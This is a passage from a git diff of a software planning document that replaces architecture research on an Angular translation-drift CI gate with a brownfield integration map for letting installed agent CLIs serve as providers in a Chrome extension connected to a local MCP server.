cookie-branch logic) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/server/src/utils/locale-constants.js` and Angular's `.ts` mirror (locale registry single-source-of-truth) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/tests/server-accept-language.test.js` (42-assertion existing test coverage, including the exact assertion that must flip under the WARNING-02 fix) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/.github/workflows/ci.yml` (exact `website` job step order โ€” this is the literal insertion point for the new gate) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/.planning/phases/v0.9.63-INTEGRATION-CHECK.md` (original WARNING-01/WARNING-02/WARNING-03 audit findings, E2E flow traces, requirements integration map) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/.planning/milestones/v0.9.63-*.md` and `.planning/MILESTONES.md` (audit trail confirming WARNING-02 was deliberately deferred as a design lock, not an oversight) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/.planning/milestones/v0.9.69-phases/275-privacy-policy-cws-listing-ci-guard-integration-smoke/275-SUMMARY.md` (confirms `extract-i18n-clean` is not a literal npm script name โ€” it's shorthand for the CI shell pipeline) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/angular/src/locale/messages*.xlf` (direct file inspection: confirmed 996/996 `state="translated"` in every target file today, proving the structural gate is fully green while semantic drift silently exists) +- Git commit `6d3ad363619a731336ffb5f4480a92346339201a` (`chore(i18n): sync messages.xlf with showcase copy refinements`) โ€” directly diffed both as raw git-stat (247/247) and as an id-keyed trans-unit comparison (5 real changes), which is the basis for this document's central framing correction +- XLIFF 1.2 specification (OASIS, `urn:oasis:names:tc:xliff:document:1.2`) โ€” background on the ``/`` mirroring convention that Pattern 1's diff logic exploits; general industry knowledge of TMS "source drift" / "fuzzy match invalidation" conventions (Phrase, Lokalise, Crowdin all implement variants of this), offered as context for why this pattern is a recognized approach rather than an ad hoc invention โ€” MEDIUM confidence on the general industry-convention claim (not verified against those specific vendors' docs in this session), HIGH confidence on everything else in this document since it was verified directly against this repo's own files + +--- +*Architecture research for: Angular-i18n showcase site โ€” translation-completeness verification and drift-detection CI gate design* +*Researched: 2026-07-07* diff --git a/.planning/research/ARCHITECTURE.md b/.planning/research/ARCHITECTURE.md index 7f6351b46..5122a6598 100644 --- a/.planning/research/ARCHITECTURE.md +++ b/.planning/research/ARCHITECTURE.md @@ -1,403 +1,341 @@ -# Architecture Research: v1.2.0 Showcase i18n Completeness +# Architecture Research: v0.9.91 MCP Clients as Providers -**Domain:** Angular-i18n translation-completeness verification + drift detection, integrated into an existing Express-prerender showcase pipeline -**Milestone:** v1.2.0 Showcase i18n Completeness โ€” SUBSEQUENT milestone; re-opens and closes a gap left as accepted debt by v0.9.63 (Showcase i18n). Does not redesign the existing locale-registry/build/CI substrate. -**Researched:** 2026-07-07 -**Confidence:** HIGH (all findings verified directly against the repo's own source files, CI workflow, and git history โ€” this is an internal-architecture question about an existing system, not an ecosystem-discovery question) +**Domain:** Chrome MV3 extension + local MCP server ecosystem โ€” installed agent CLIs as first-class side-panel providers +**Milestone:** v0.9.91 โ€” SUBSEQUENT milestone; maps four features onto the existing FSB architecture (extension SW + ws://7225 hub/relay bridge + fsb-mcp-server stdio/serve). Existing architecture is mapped, not redesigned. +**Researched:** 2026-07-10 +**Confidence:** HIGH (every integration point verified against source at file:line; SDK `getClientVersion` verified via Context7; spawned-CLI flag surface is MEDIUM-LOW โ€” see Open Questions) -> Canonical-path note: per this directory's established convention (see `PITFALLS-EXCALIDRAW.md`, `PITFALLS-v0.9.69-TELEMETRY.md` as precedent), this document replaces the prior milestone's content at the canonical `ARCHITECTURE.md` path. The superseded v1.0.0 (Full App Catalog / OpenTabs Parity) architecture research is preserved on-disk at `ARCHITECTURE-v1.0.0-OPENTABS-CATALOG.md`. +> Canonical-path note: per this directory's convention (see the header of `ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md`), this document replaces the prior milestone's content at the canonical `ARCHITECTURE.md` path. The superseded v1.2.0 research is preserved at `ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md`. + +This is a brownfield integration map answering: (a) exact seams per feature, (b) new components, (c) data flows, (d) build order, (e) which process owns spawning, (f) delegation coexistence with the extension's own agent loop. --- -## 0. Correction to Milestone Framing (read this first) +## 1. Existing System Overview (verified) -PROJECT.md states: *"Resync the 247 trans-units whose English source changed in commit `6d3ad363`."* I verified this directly by diffing `messages.xlf` at `6d3ad363~1` vs `6d3ad363` and matching trans-units **by `id`, not by line position**: +``` ++------------------------------ Chrome (MV3) -------------------------------+ +| Side panel (ui/sidepanel.js) Control panel (ui/options.js + | +| startAutomation/stopAutomation control_panel.html "API Config") | +| runtime msgs :1506/:1558 modelProvider select :146/:157 | +| | | | +| v v | +| background.js service worker -- fsbHandleRuntimeMessage :7610 | +| handleStartAutomation :8912 --> agent-loop.js runAgentLoop :1180 | +| handleStopAutomation :9559 (BYOK via universal-provider.js) | +| fsbAgentRegistryInstance (utils/agent-registry.js, global export :1468) | +| ^ | +| | dispatchMcpMessageRoute / dispatchMcpToolRoute | +| ws/mcp-bridge-client.js <---- ws://localhost:7225 ----+ | +| (_connectionId minted at onopen :127; | | +| routes agent:register et al :391-415) | | ++--------------------------------------------------------+------------------+ + | + +--------------------- Node processes ------------+----------------+ + | WebSocketBridge (mcp/src/bridge.ts) | + | hub (port 7225 owner) <-- relay:hello -- relay clients | + | hub-exit promotion with jitter :756-783 | + | | + | fsb-mcp-server stdio (per MCP client; index.ts :243) | + | fsb-mcp-server serve (HTTP daemon; index.ts :266, http.ts) | + | each createRuntime(): McpServer + AgentScope (runtime.ts :31) | + | AgentScope.ensure -> agent:register payload {} (:59-62) | + +------------------------------------------------------------------+ + ^ + | MCP stdio / Streamable HTTP + External MCP clients (Claude Code, Cursor, Codex, ...) + installed via install.ts / platforms.ts PLATFORMS (:77) +``` -- Total trans-units in `messages.xlf`: 942 (996 in each target locale file โ€” the small gap is target-file-only housekeeping units, irrelevant here) -- Trans-unit **IDs whose `` text actually changed**: **5** (`agents.meta.description`, `agents.schema.software.description`, `home.meta.description`, `support.faq.q.tools.a`, `support.schema.faq.tools.a`) -- Trans-unit IDs added or removed: 0 +### Component Responsibilities (existing components this milestone touches) + +| Component | Responsibility | Evidence | +|-----------|----------------|----------| +| `extension/ui/onboarding.js` | Install-command copy UX; already knows the clicked client id | `INSTALL_CLIENTS` :35-45; fan-item click -> `copyCommand(client.cmd, client.id)` :522-525; `copyCommand()` :784-794 keeps `state.copied` in memory only (:67, :787) โ€” **nothing is persisted today** | +| `extension/ui/control_panel.html` | "API Configuration" section to rename | `
` :144, `

API Configuration

` :146, `#modelProvider` select with 7 API providers :157-165, per-provider key groups (e.g. `#xaiApiKeyGroup` :196) | +| `extension/ui/options.js` | Provider select load/save + key-field visibility | default `modelProvider: 'xai'` :5; change listener :613-624; `updateApiKeyVisibility(provider)` :1301-1309; settings object built :1632; persisted flat to `chrome.storage.local` :1677 | +| `extension/ui/sidepanel.js` | Task entry; sends `startAutomation` with legacy agent identity | `ensureLegacySidepanelAgent()` :1503; `chrome.runtime.sendMessage({action:'startAutomation', task, tabId, agentId, ownershipToken})` :1506-1513; `stopAutomation()` :1545-1560 | +| `extension/background.js` | Session orchestration, kill switch, registry host | `fsbHandleRuntimeMessage` :7610; `handleStartAutomation` :8912; `startAutomationLoop` :11853; `handleStopAutomation` :9559 (storage-restore fallback; `fsbBroadcastAutomationLifecycle` on stop :9612) | +| `extension/utils/agent-registry.js` | Mints `agent_`, tab ownership, connection grace | `registerAgent()` :305 (AgentRecord `{agentId, createdAt, tabIds, ...}` :263, :333); `stampConnectionId()` :634 (the pattern to clone for clientInfo); staged releases keyed by connectionId :286; exported `global.FsbAgentRegistry` :1468 | +| `extension/ws/mcp-bridge-client.js` | Extension side of ws://7225; per-connect `connectionId`; routes server-to-extension requests | `_ws.onopen` mints `crypto.randomUUID()` :112-144 (:127); onclose stages release via `stageReleaseByConnectionId` :185-186; keepalive `mcp:ping` send :329-330, `mcp:pong` ignore :373; `_handleMessage` switch :364/:391 routes `agent:register`/`agent:release`/`agent:status` :395-397 | +| `extension/ws/mcp-tool-dispatcher.js` | Route handlers incl. agent identity | `handleAgentRegisterRoute` :1935-1994 โ€” mints via registry, stamps `connectionId` :1965-1970, returns `{success, agentId, agentIdShort, ownershipTokens:{}, connectionId}` :1993; cap rejection `AGENT_CAP_REACHED` :1947-1954. **`clientInfo` appears nowhere in this payload today** | +| `extension/ai/engine-config.js` | Named execution modes | `EXECUTION_MODES` :63-108 โ€” exactly four: `autopilot`, `mcp-manual`, `mcp-agent`, `dashboard-remote`; `loadSessionConfig(modeName)` :126 | +| `mcp/src/bridge.ts` | Hub/relay WS topology on 7225 | hub start :264-295; browser-origin gate :297-309 (`allowedBrowserOrigins ['chrome-extension://']` :90); relay handshake `relay:hello` :328-333, `relay:welcome` :453-462, `relay:state` broadcast :502-509; `_handleExtensionMessage` :515-572 (understands ONLY `mcp:ping`, `mcp:progress`, and id-matched responses โ€” **extension-initiated requests have no protocol today**); hub-exit promotion :756-783; reject-message contract `BRIDGE_DISCONNECT_MESSAGES` :34-38 | +| `mcp/src/agent-scope.ts` | Per-process (stdio) / per-session (HTTP) agent identity | `ensure()` sends `{type:'agent:register', payload:{}}` :59-62 โ€” **the empty payload is the clientInfo seam**; defensive optional-field consumption pattern :77-101 | +| `mcp/src/agent-bridge.ts` | Threads agentId/ownershipToken/connectionId into every tool payload | `sendAgentScopedBridgeMessage` :70-93 | +| `mcp/src/runtime.ts` | Assembles server+bridge+queue+AgentScope | `createRuntime()` :31-50; `agentScope: options.agentScope ?? new AgentScope()` :34 | +| `mcp/src/http.ts` | `serve` daemon; per-HTTP-session McpServer sharing ONE bridge/queue | initialize creates `createRuntime({bridge, queue})` :123-143 โ€” each HTTP session gets its **own AgentScope + own McpServer** (so its own clientInfo), shared bridge | +| `mcp/src/index.ts` | CLI entry: stdio/serve/status/doctor/install | stdio :243-264; `serve` -> `runHttpMode` :381-383/:266-294; `doctor` -> `runDoctor` :388-389/:334-348; help claims "install (21 platforms)" :93 | +| `mcp/src/platforms.ts` | Client registry with per-OS config paths | `PLATFORMS` :77 (23 entries: 18 file-mode, 1 cli-mode `claude-code` :95-103 with `configPath: null`, 4 instructions-mode :314/:324/:334/:344); disk detection = `resolvePlatformTarget()` :437-490 via `existsSync` on config file :455-466 then parent dir :468-479 | +| `mcp/src/install.ts` | Writes client configs / prints commands | `getClaudeCodeInstallCommand()` :31-33 (`claude mcp add --scope user fsb -- npx -y fsb-mcp-server`) | +| `mcp/src/tools/autopilot.ts` | `run_task` -> `mcp:start-automation` with onProgress heartbeats | :33, :51, :124-131 | +| `mcp/src/types.ts` | Bridge wire vocabulary (INV-01 additive-only) | `MCPMessageType` :8-48 (server-to-extension requests + `agent:*`); `MCPResponse` union `mcp:result|mcp:progress|mcp:error` :51-55 | +| `mcp/src/diagnostics.ts` | doctor layer classification | `collectBridgeDiagnostics()` :422 (offline-UX handoff target) | -The `247 insertions(+), 247 deletions(-)` git-diff stat is **XML line churn**, not trans-unit count: 242 of those line-pairs are `` shifts caused by unrelated TS/HTML edits moving `$localize`/`i18n` call sites up or down in their source files (harmless location-metadata noise), and only 5 are genuine `` text changes. A naive `git diff --stat` or line-count/hash-based drift check would overcount by roughly 48x, and would also false-positive on every future commit that merely reformats a component file without touching any translatable string. +--- -**This has a direct architectural consequence:** the new drift-detection gate MUST diff `` text keyed by `trans-unit id`, not do a raw-text/line-count/whole-file-hash comparison. This is elaborated in Pattern 1 below. The full-page audit (Phase 1 of this milestone) should re-derive the true scope from scratch โ€” it will very likely surface MORE than these 5 units, since the milestone's own stated goal ("every translatable string on every showcase page... genuinely translated") is broader than the blast radius of one named commit. Treat "5" and "247" both as lower/upper bounds discovered so far, not as the audit's answer. +## 2. Integration Seams Per Feature (question a) + +### Feature 1 โ€” Agent identity capture + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Copy-click persistence | `extension/ui/onboarding.js:508-509` (base-command binds), `:522-525` (per-client fan binds), `:784-794` (`copyCommand` body) | MODIFY: add `persistCopyClick(clientId)` inside `copyCommand`; today `state.copied` is render-only | +| `initialize` clientInfo capture | `mcp/src/server.ts:9-21` (McpServer creation), `mcp/src/runtime.ts:31-50` | MODIFY: read `server.server.getClientVersion()` -> `Implementation {name, version}` after initialize. Verified via Context7: functional in SDK v1.x (repo pins `@modelcontextprotocol/sdk ^1.29.0`, `mcp/package.json:54`); deprecated only in the SDK v2 migration. Capture point: `oninitialized` hook or lazily inside `AgentScope.ensure` | +| Thread clientInfo through register | `mcp/src/agent-scope.ts:59-62` โ€” `payload: {}` today | MODIFY: `payload: { clientInfo: {name, version} }` (additive; INV-01 safe). `AgentScope` needs a clientInfo supplier injected via `createRuntime` (runtime.ts:31) since it currently has no server handle | +| Extension-side stamping | `extension/ws/mcp-tool-dispatcher.js:1935-1994`; precedent: `connectionId` capture :1965-1970 | MODIFY: read `payload.clientInfo`, call new `reg.stampClientInfo(agentId, clientInfo)` | +| Registry record | `extension/utils/agent-registry.js:263` (AgentRecord shape), `:305` (registerAgent), `:634` (`stampConnectionId` โ€” clone this) | MODIFY: `clientInfo` on AgentRecord + `stampClientInfo()`; surface in status/list snapshots | +| Installed-client disk detection | `mcp/src/platforms.ts:437-490` (`detected` flag) | REUSE server-side; NEW inventory push to extension (Section 3). Pitfall: `claude-code` is cli-mode with `configPath: null` (:95-103) so `resolvePlatformTarget` always reports `detected:false` for it โ€” Claude Code detection must check the `claude` binary / `~/.claude.json` instead | +| Control-panel surfacing | `extension/ui/options.js` + `control_panel.html` | MODIFY: read new storage keys + new `getMcpClients` runtime message answered from the registry. Do NOT revive the commented background-agents `listAgents` surface (`options.js:5767`, `sidepanel.js:3651`) โ€” that is the sunset v0.9.45rc1 path (INV-05) | + +### Feature 2 โ€” Providers panel + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Section rename | `extension/ui/control_panel.html:144-148` (`id="api-config"`, `

API Configuration

` :146) | MODIFY copy to "Providers"; keep element ids stable where tests pin them (source-pin tripwires โ€” run suite from first commit) | +| Provider select | `control_panel.html:157-165` (`#modelProvider`: xai/gemini/openai/anthropic/openrouter/lmstudio/custom) | MODIFY: add agent-provider entries (e.g. grouped optgroups) + recommended badge | +| Kind-aware key visibility | `extension/ui/options.js:1301-1309` (`updateApiKeyVisibility`) + change listener :613-624 | MODIFY: `agent` kind hides ALL key groups, shows connected/installed status instead | +| Settings model | `options.js:5` (default), `:1632` (save object), `:1677` (`chrome.storage.local.set`), `:1337-1376` (load) | MODIFY: introduce `providerKind` (`api`\|`agent`) + `agentProviderId` alongside `modelProvider`; `modelProvider` keeps its 7 API values so `universal-provider.js` (provider switches :196/:550) never sees an agent value | +| Recommended defaulting | new `fsbAgentProviders` storage | NEW: precedence connected > installed > copy-clicked | + +### Feature 3 โ€” Side-panel delegation (Claude Code MVP) + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Side panel send | `sidepanel.js:1506-1513` | MODIFY: when selected provider kind is `agent`, dispatch new `startDelegatedTask` runtime message instead of the BYOK path | +| Background coordinator | `background.js:7610` (router), alongside `handleStartAutomation` :8912 | NEW `handleStartDelegatedTask`: lightweight delegated session record (UI state only), forwards over the reverse channel | +| Extension reverse-request send | `mcp-bridge-client.js` โ€” precedent: fire-and-forget `mcp:ping` :329-330; `_handleMessage` switch :364-415 | NEW: extension-initiated request/response (`ext:*` frames) with own pending-map + id namespace; today the client can only *respond* to server requests | +| Bridge protocol | `mcp/src/bridge.ts:515-572` (`_handleExtensionMessage` drops unknown frames), `:328-333` (`relay:hello`), `:441-489` (relay registration), `types.ts:8-55` | NEW additive frames: `ext:request`/`ext:response`/`ext:event` + supervisor capability advertisement on `relay:hello`/`relay:welcome`/`relay:state` (additive fields; INV-01) | +| Spawner | none today | NEW `mcp/src/spawn-supervisor.ts` (Section 3 + Section 5) | +| Spawned CLI re-entry | entire existing pipeline: child runs `fsb-mcp-server` stdio -> relay on 7225 -> `agent:register` (`agent-scope.ts:53`) -> own agentId + tab ownership -> tool dispatch | REUSE unchanged โ€” the core reuse win of the milestone | +| Progress to side panel | bridge `mcp:progress` origin-routing precedent :541-551; extension-to-UI precedent `fsbBroadcastAutomationLifecycle` `background.js:2456` | NEW `ext:event` frames supervisor -> hub -> extension -> runtime message -> `sidepanel.js` renderer | +| Kill switch | `sidepanel.js:1545-1560` -> `background.js:9559`; grace release `mcp-bridge-client.js:185-186` + registry :286 | MODIFY stop path for delegated sessions: `ext:request delegate.cancel` (supervisor SIGTERMs child); child's WS close then reuses existing `stageReleaseByConnectionId` cleanup | +| Offline UX | `mcp/src/diagnostics.ts:422`, `index.ts:334-348` (doctor) | NEW side-panel state: no supervisor answers -> "agent offline โ€” run `fsb-mcp-server serve` / `doctor`" (extension has no nativeMessaging; it cannot wake any process) | +| Execution mode | `extension/ai/engine-config.js:63-108` | MODIFY: fifth `EXECUTION_MODES` entry `delegated` | + +### Feature 4 โ€” Multi-agent adapters + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Adapter contract | new `mcp/src/agent-providers/` | NEW `AgentProviderAdapter`: `detect() / buildSpawn(task, ctx) / parseEvents(stream) / kill(child) / caps()` | +| Claude Code adapter | `install.ts:31-33` (CLI command precedent); platforms cli-mode nuance :95-103 | NEW `claude-code.ts` โ€” built as an adapter from day one so OpenCode/Codex/Gemini slot in | +| Detection reuse | `platforms.ts:437-490` | REUSE for file-mode clients; per-adapter binary checks for cli-mode | +| Provider list wiring | Providers panel model (Feature 2) | MODIFY: adapter ids become `agent` provider ids; `caps()` gates task-mode vs chat-mode (`--resume`) UI | --- -## 1. Standard Architecture +## 3. New Components (question b) -### System Overview +| Component | Location | Kind | Contents | +|-----------|----------|------|----------| +| Reverse-request protocol frames | `mcp/src/types.ts` (+ `bridge.ts` + `mcp-bridge-client.js`) | NEW wire types (additive) | `ext:request {id, method, payload, secret}` extension->hub; `ext:response {id, payload}` hub->extension; `ext:event {id, payload}` streamed supervisor->extension. Plus additive `capabilities: ['agent-spawn']` on `RelayHello` and supervisor presence on `RelayWelcome`/`RelayState` (types.ts:70-80 region) | +| Spawner/supervisor | `mcp/src/spawn-supervisor.ts` | NEW module | Consent + shared-secret validation; adapter lookup; `child_process.spawn` with adapter-built argv (never `shell:true`); stream-json stdout parse -> `ext:event` fan-out; kill (SIGTERM -> SIGKILL escalation); child bookkeeping keyed by `delegationId`; exit-watch emits terminal event | +| Adapter registry | `mcp/src/agent-providers/{index,adapter,claude-code}.ts` | NEW | `AgentProviderAdapter` contract; registry keyed by client ids aligned with `INSTALL_CLIENTS` (`onboarding.js:35-45`) and `PLATFORMS` keys (`platforms.ts:77`) | +| Client-identity capture glue | inline in `runtime.ts` / `agent-scope.ts` | NEW glue | `getClientVersion()` read + supplier threading into `agent:register` payload | +| Extension reverse-channel client | `extension/ws/mcp-bridge-client.js` | MODIFY (new capability) | `sendExtRequest(method, payload, {timeout})` with pending map + `ext:` id prefix; `ext:event` subscription routed to background listeners | +| Delegation coordinator | `extension/background.js` | MODIFY (new handlers) | `startDelegatedTask`/`stopDelegatedTask` runtime messages; delegated session-lite records; event relay to side panel | +| Captured-identity storage schema | `chrome.storage.local` | NEW schema (additive keys) | `fsbAgentProviders: { copyClicks: {: {count, lastCopiedAt}}, connected: {: {lastSeenAt, version}}, installed: {: {detected, configPath, checkedAt}}, selected: {kind:'api'|'agent', id} }`. Registry AgentRecord carries `clientInfo` as session-scoped truth; `fsbAgentProviders.connected` is the durable rollup | +| Provider-kind model | `extension/ui/options.js` + engine read sites | MODIFY | `providerKind` setting + guard so BYOK engine paths only ever see the existing 7 API providers | +| Fifth execution mode | `extension/ai/engine-config.js:63-108` | MODIFY | `delegated: { uiFeedbackChannel:'popup-sidepanel', animatedHighlights:true, safetyLimits: wall-clock watchdog (iterations N/A โ€” loop runs in the external CLI) }` | + +--- + +## 4. Data Flows (question c) + +### Flow 1 โ€” Onboarding capture -> storage ``` -+-----------------------------------------------------------------------+ -| SOURCE OF TRUTH (author-edited) | -+-----------------------------------------------------------------------+ -| Component .html/.ts (i18n / $localize markers) | -| angular.json i18n.locales{} (locale -> file + subPath map) | -| locale-constants.ts (Angular) <-verify-locale-sync.mjs-> .js (Express)| -+------------------------------+------------------------------------------+ - | ng extract-i18n - v -+-----------------------------------------------------------------------+ -| messages.xlf (EN source-of-truth XLIFF) | -| -- one per marker | -+------------------------------+------------------------------------------+ - | (manual / AI-fill, historically) - v -+-----------------------------------------------------------------------+ -| messages.{es,de,ja,zh-CN,zh-TW}.xlf (5 translated copies) | -| -- mirrors EN's set; COPIED verbatim from | -| EN at fill-time, is the translation | -| PROBLEM: nothing re-syncs the mirrored when EN's | -| changes later -- these files silently go stale (this milestone's | -| core gap) | -+------------------------------+------------------------------------------+ - | - +----------------------+-----------------------------+ - | EXISTING CI GATES | - | (structural / build-time correctness only) | - | 1. verify-locale-sync.mjs -- registry parity | - | (Angular LOCALES[] == Express LOCALES[]) | - | Does NOT touch messages.xlf content at all. | - | 2. lint:i18n (eslint) -- every visible | - | template string carries an i18n attribute | - | Does NOT check translation content. | - | 3. "ng extract-i18n" + diff -u ("extract-i18n- | - | clean") -- messages.xlf byte-equal to a fresh | - | extract. Verifies EN source is fully harvested;| - | says NOTHING about the 5 target files. | - | 4. ng build --localize (i18nMissingTranslation: | - | error) -- fails if a target XLIFF is MISSING a | - | for an id present in source. Does NOT | - | fail if exists but is a STALE/WRONG | - | translation of a since-changed . This | - | is the exact blind spot: all 5 locale files | - | sit at 996/996 state="translated" today, and | - | that number does not move even when 5 units | - | drift. | - +------------------------+---------------------------+ - | - v (NEW, this milestone) - +---------------------------------------------------+ - | NEW GATE: verify-translation-drift.mjs | - | Diffs EN text (keyed by trans-unit id) | - | against the mirror embedded in each of | - | the 5 target XLIFFs. Fails the build if any id's | - | EN != that id's mirrored in ANY | - | target file. This is the ONLY gate in the whole | - | chain that can catch semantic staleness, because | - | it is the only one that compares SOURCE content | - | across files rather than checking structural | - | presence within one file. | - +------------------------+---------------------------+ - | - v -+-----------------------------------------------------------------------+ -| ng build --localize emits per-locale prerendered HTML under | -| dist/showcase-angular/browser/{en-root,es,de,ja,zh-CN,zh-TW}/** | -+------------------------------+------------------------------------------+ - | - v -+-----------------------------------------------------------------------+ -| showcase/server/server.js (Express) | -| - Accept-Language middleware (bare `/` only) -- WARNING-02 lives here | -| - express.static(dist) with redirect:false | -| - marketingRoutes whitelist + locale subPath splitter | -+-----------------------------------------------------------------------+ +User hovers copy fan, clicks a client (e.g. "Cursor") + onboarding.js:522-525 (button dataset.copyClient -> INSTALL_CLIENTS lookup) + -> copyCommand(client.cmd, client.id) onboarding.js:784 + -> writeClipboard(text) :796 + -> NEW persistCopyClick(client.id) -> chrome.storage.local + fsbAgentProviders.copyClicks['cursor'] = {count+1, lastCopiedAt} +Control panel Providers section reads fsbAgentProviders on load + (options.js load path :1337-1376) -> renders "copy-clicked" tier (weakest signal) ``` +Base-command copies (`:508-509`) copy the currently rolled client's flag (`state.token` :63) โ€” persist `{clientId: current, source:'base'}` so those clicks are not lost. -### Component Responsibilities +### Flow 2 โ€” initialize clientInfo -> agent:register -> extension registry -> control panel -| Component | Responsibility | Today's Implementation | -|-----------|-----------------|-------------------------| -| `angular.json` `i18n` block | Declares the 5 target locales + `subPath` + translation file path; drives `ng build --localize` fan-out | Static config, hand-edited; `sourceLocale.subPath` is `""`, each target locale's `subPath` matches its code exactly (`es`, `de`, `ja`, `zh-CN`, `zh-TW`) | -| `locale-constants.ts` / `.js` | Runtime-consumable locale list (`LOCALES`, `LOCALE_SUBPATHS`, native labels) for Angular UI + Express middleware | Two hand-mirrored files, kept honest by `verify-locale-sync.mjs` | -| `verify-locale-sync.mjs` | Registry parity ONLY โ€” asserts the two `LOCALES` arrays match | Regex-extracts array literal, string-compares | -| `lint:i18n` (eslint) | Marking completeness โ€” every visible template string has an `i18n`/`i18n-*` attribute | ESLint template-syntax rule, run via `npx eslint "src/**/*.html"` with 2 ignore-patterns (`dashboard/**`, `stats/**` โ€” the latter is exactly what this milestone must remove) | -| `ng extract-i18n` + `diff -u` | EN-source completeness โ€” `messages.xlf` matches what a fresh harvest of `i18n`-marked templates would produce | Shell pipeline in `ci.yml`, not a named npm script (nicknamed "extract-i18n-clean" in docs/plans; `showcase/angular/package.json` has no script literally named that โ€” confirmed by the codebase's own Phase-275 discovery note) | -| `ng build --localize` (`i18nMissingTranslation: error`) | Per-locale structural completeness โ€” every EN trans-unit id has a corresponding `` in each target XLIFF | Angular CLI build-time i18n compiler flag in `angular.json` | -| **(NEW) `verify-translation-drift.mjs`** | Semantic freshness โ€” every EN trans-unit id's `` text matches its mirrored `` in all 5 target XLIFFs | Does not exist yet; this milestone's job | -| `verify-hreflang.mjs` | Post-build SEO/HTML assertion (hreflang tags, canonical, `lang` attr) on emitted prerender output | Walks `dist/`, regex-checks tags | -| Accept-Language middleware (`server.js`) | Bare-`/` locale redirect for first-visit + returning users | Cookie short-circuits today (WARNING-02); needs a redirect-to-cookie-locale fix this milestone | +``` +Claude Code launches `npx -y fsb-mcp-server` (stdio) [or connects to serve HTTP] + SDK initialize handshake carries clientInfo {name, version} + stdio: one runtime/process (index.ts:243-247); HTTP: one runtime/session (http.ts:123-143) + server.server.getClientVersion() -> {name, version} [SDK v1.x accessor, verified] +First tool call -> AgentScope.ensure(bridge) agent-scope.ts:53 + payload {} -> NEW payload {clientInfo} agent-scope.ts:59-62 + bridge.sendAndWait('agent:register') bridge.ts:180-228 + hub -> extension WS bridge.ts:219-222 + mcp-bridge-client.js _handleMessage :364, case 'agent:register' :395 + dispatchMcpMessageRoute -> handleAgentRegisterRoute mcp-tool-dispatcher.js:1935 + reg.registerAgent() mints agent_ agent-registry.js:305 + reg.stampConnectionId(...) dispatcher :1965-1970 (existing) + NEW reg.stampClientInfo(agentId, clientInfo) (clone of registry :634 pattern) + NEW rollup: fsbAgentProviders.connected['claude-code'] = {lastSeenAt, version} + response {agentId, agentIdShort, connectionId} dispatcher :1993 -> AgentScope caches +Control panel: NEW getMcpClients runtime message -> background reads registry + fsbAgentProviders + -> Providers panel shows "Claude Code โ€” connected (agent_ab12...)" + (trusted-label precedent: visual-session clientLabel, dispatcher :1902) +``` +Topology note: each stdio MCP client is its own process -> own AgentScope -> own clientInfo. In `serve` mode each HTTP session gets its own McpServer+AgentScope (http.ts:125 passes only bridge+queue; runtime.ts:34 defaults a fresh AgentScope) โ€” clientInfo is correctly per-client on both transports. -## Recommended Project Structure +### Flow 3 โ€” Side-panel delegation round trip ``` -showcase/angular/ -โ”œโ”€โ”€ scripts/ -โ”‚ โ”œโ”€โ”€ verify-locale-sync.mjs # existing -- registry parity (UNCHANGED) -โ”‚ โ”œโ”€โ”€ verify-hreflang.mjs # existing -- post-build HTML assertions (UNCHANGED) -โ”‚ โ”œโ”€โ”€ verify-bundle-budgets.mjs # existing -- gzip size gate (UNCHANGED) -โ”‚ โ”œโ”€โ”€ verify-translation-drift.mjs # NEW -- source-text drift gate (this milestone, permanent) -โ”‚ โ””โ”€โ”€ audit-translation-completeness.mjs # NEW, TEMPORARY -- one-shot full-page audit script -โ”‚ # (see "Suggested Build Order" -- this is a diagnostic -โ”‚ # tool for the audit phase of this milestone, not a -โ”‚ # permanent CI gate; retire or demote to a manual -โ”‚ # `npm run audit:i18n` script post-milestone) -โ”œโ”€โ”€ src/locale/ -โ”‚ โ”œโ”€โ”€ messages.xlf # EN source-of-truth (UNCHANGED structurally) -โ”‚ โ”œโ”€โ”€ messages.{es,de,ja,zh-CN,zh-TW}.xlf # 5 target files -- CONTENT resync happens here, -โ”‚ โ”‚ # not a new file format -โ”‚ โ””โ”€โ”€ DO-NOT-TRANSLATE.md # existing -- machine-token allowlist (UNCHANGED) -โ”œโ”€โ”€ package.json # ADD: "verify:translation-drift": "node scripts/verify-translation-drift.mjs" -โ”‚ # MODIFY: lint:i18n -- remove `--ignore-pattern "src/app/pages/stats/**"` -โ”‚ # (only after stats-page translation work lands, see build order) -โ””โ”€โ”€ angular.json # UNCHANGED (no new locale, no new subPath) - -showcase/server/ -โ”œโ”€โ”€ src/middleware/ -โ”‚ โ””โ”€โ”€ accept-language.js # MODIFY -- fix WARNING-02 cookie-short-circuit semantics -โ”‚ # (see Pattern 2 below) -โ””โ”€โ”€ server.js # UNCHANGED mount point/order; same middleware, same - # position (before express.static) - -tests/ -โ”œโ”€โ”€ server-accept-language.test.js # MODIFY -- flip one existing assertion + add new ones for -โ”‚ # the fixed cookie-redirect behavior -โ””โ”€โ”€ translation-drift.test.js # NEW -- unit tests for verify-translation-drift.mjs's - # trans-unit-id-keyed diff logic (mirrors the existing - # test style: pure Node assert, in-repo fixtures) - -.github/workflows/ci.yml # MODIFY -- insert one new step in the `website` job +[side panel] provider kind=agent (claude-code) selected; user types task, Send + sidepanel.js NEW branch at the :1506 send site -> runtime msg + startDelegatedTask {task, tabId(hint), providerId} +[background] NEW handleStartDelegatedTask -> delegated session-lite record (UI state) + -> mcp-bridge-client NEW sendExtRequest('delegate.start', + {task, providerId, tabHint, consentTier, secret}) +[ws 7225] ext:request -> hub _handleExtensionMessage (bridge.ts:515) NEW ext:* branch + hub is supervisor? yes -> handle locally + no -> forward to the relay that advertised capabilities:['agent-spawn'] + none -> ext:response {error:'agent_provider_offline'} +[supervisor = serve daemon] SpawnSupervisor.validate(secret, consent) + -> adapter('claude-code').buildSpawn(task) + -> spawn claude -p ... --output-format stream-json --strict-mcp-config + + hermetic mcp-config pointing ONLY at fsb + shipped `fsb` agent definition + (exact flags: verify in phase research) + -> ext:response {delegationId} -> extension -> side panel "delegating..." 